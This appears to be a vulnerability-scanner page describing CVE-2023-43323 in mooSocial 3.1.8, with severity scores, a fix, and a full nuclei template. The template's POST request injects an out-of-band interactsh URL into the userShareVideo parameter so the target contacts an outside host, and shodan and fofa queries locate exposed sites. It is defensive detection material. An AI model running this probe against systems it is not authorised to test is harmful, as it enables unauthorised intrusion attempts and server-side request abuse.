mooSocial 3.1.8 - External Service Interaction

mediumseverity

6.5CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

mooSocial 3.1.8 is vulnerable to external service interaction via multiple parameters in the post function.

Impact

An attacker can exploit this vulnerability to interact with external services.

Fix

Upgrade to a patched version of mooSocial to mitigate CVE-2023-43323.

How to confirm it

Send: GET /
Positive when: contains "mooConfig"
Send: POST /activities/ajax_share
Positive when: contains in interactsh_protocol "http" or "dns"

Run it with nuclei: nuclei -id CVE-2023-43323 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-43323

info:
  name: mooSocial 3.1.8 - External Service Interaction
  author: ritikchaddha
  severity: medium
  description: |
    mooSocial 3.1.8 is vulnerable to external service interaction via multiple parameters in the post function.
  impact: |
    An attacker can exploit this vulnerability to interact with external services.
  remediation: |
    Upgrade to a patched version of mooSocial to mitigate CVE-2023-43323.
  reference:
    - https://github.com/ahrixia/CVE-2023-43323
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-43323
    epss-score: 0.02054
    epss-percentile: 0.81437
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: moosocial
    product: moostore
    shodan-query: http.favicon.hash:702863115clear
    fofa-query:
      - mooSocial
      - moosocial
      - icon_hash="702863115"
  tags: cve,cve2023,moosocial,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "mooConfig"
        internal: true

  - raw:
      - |
        POST /activities/ajax_share HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        [data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http://{{interactsh-url}}%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1]

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from